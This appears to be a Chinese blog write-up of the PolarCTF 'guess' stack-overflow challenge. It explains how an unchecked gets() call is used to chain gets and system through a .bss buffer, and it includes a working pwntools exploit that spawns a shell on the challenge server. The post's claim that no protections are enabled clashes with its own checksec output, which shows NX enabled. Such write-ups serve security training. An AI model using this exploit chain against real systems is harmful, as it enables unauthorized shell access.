polarctf guess(栈溢出）

最新推荐文章于 2025-03-27 16:30:45 发布

wander-hui

最新推荐文章于 2025-03-27 16:30:45 发布

阅读量336

点赞数 1

文章标签：网络安全 python

本文链接：https://blog.youkuaiyun.com/2401_82703634/article/details/146114426

版权

前言

这是一个简单的栈溢出，虽然刚开始确实有点小蒙，但做完还是很好理解的

题目解析

先分析文件

 Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

32位的，没有开任何保护
然后看下面这段代码

char *Start()
{
  char s; // [sp+Ch] [bp-6Ch]@1

  puts("You'll get unexpected surprises");
  printf("Do you want to try it?");
  return gets(&s);
}

很明显，gets函数有栈溢出的漏洞
但是在IDA中观察，并没有/bin/sh的字符串，所以只能自己构造了，
可以发现，在.bss段，有个buf2，

这样的话，我们的思路就清晰了

利用缓冲区溢出
通过覆盖返回地址，控制程序执行流，将返回地址覆盖为gets函数，以便将/bin/sh写入内存
链式调用
通过设置gets的返回地址system，实现函数链式调用，先调用gets，再调用system
参数传递
get和system都需要参数，通过栈传递参数，将.bss段的地址作为参数传递给gets和system

EXP

from pwn import *
#io=process('./guess')
io=remote('1.95.36.136', 2057)
elf=ELF('./guess')

padding=0x6c+4

gets_addr=elf.sym['gets']


system_addr=elf.sym['system']
bss_addr=0x804a080

payload=padding*b'a'+p32(gets_addr)+p32(system_addr)+p32(bss_addr)+p32(bss_addr)

io.sendline(payload)
io.sendline('/bin/sh')


io.interactive()